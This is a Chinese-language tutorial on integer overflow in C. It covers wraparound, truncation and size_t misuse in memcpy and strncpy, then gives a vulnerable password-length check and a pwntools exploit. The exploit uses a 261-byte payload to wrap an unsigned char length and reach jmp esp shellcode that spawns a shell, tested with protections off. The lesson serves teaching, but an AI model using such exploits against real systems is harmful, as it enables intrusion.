如果一个整数用来计算一些敏感数值,如缓冲区大小或数值索引等,就会存在潜在的危险,通常情况下,整数溢出并没有改写额外的内存,不会导致任意代码执行,但是它会导致栈溢出和堆溢出,而后两者会导致任意代码执行。

整数溢出

异常情况主要是3种

  1. 溢出,只有有符号数才会发生溢出,溢出标志OF可检测有符号数的溢出

    1
    2
    3
    4
    int i;		
    i = INT_MAX; //2147483647
    i++;
    printf("i=%d\n", i); // -2147483648
  2. 回绕,无符号数会发生回绕,溢出标志CF可检测无符号数的溢出

    1
    2
    3
    4
    unsigned int ui;
    ui = UINT_MAX; //在x86-32上,为4294967295
    ui++;
    printf("ui=%d\n", ui); //ui=0
  3. 截断,将较大宽度的数存入一个宽度小的操作数中,高位发生截断

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <stdio.h>

int main()
{
unsigned int a = 0xffffffff;
unsigned int b = 1;

unsigned int c = a + b;
printf("%#x\n", &c);
printf("%d", c);
return 0;
}
//0xffffd000
//0

漏洞多发函数

整数溢出要配合其他类型的缺陷才能够有用,下面的两个函数都有一个size_t类型的参数,尝尝被误用而造成整数溢出,接着就可能导致缓冲区溢出漏洞

1
2
3
#include <string.h>
void * memcpy(void * dest, const void * src, size_t n);
char * strncpy(char * dest, const char * src, size_t n);

假设输入的n足够大,可能发生回绕,或者当n输入为负数的时候,这个地方可能把它解析为非常大的正数,导致溢出

整数溢出示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <stdio.h>
#include <string.h>

void check(char * passwd)
{
char passwd_buf[11];
unsigned char passwd_len = strlen(passwd);
if(passwd_len >= 4 && passwd_len <= 8)
{
printf("good!\n");
strcpy(passwd_buf, passwd);
}else{
printf("bad!\n");
}
}

int main(int argc, char * argv[])
{
check(argv[1]);
return 0;
}

将所有保护都关掉进行测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *


image_addr = 0x8048000
libc_addr = 0xf7ddc000

jmp_esp_addr = 0x00002b59 + libc_addr # jmp esp的地址
shellcode = shellcraft.i386.linux.sh()

payload = b'A' * 24 + p32(jmp_esp_addr) + asm(shellcode) # gdb调试用pattern测得eip偏移是24个字节
print(len(payload))
payload = payload.ljust(261, b'\x01') # 不能是\x00,会被strlen截断
print(len(payload))
p = process(argv=['./main', payload])


p.interactive()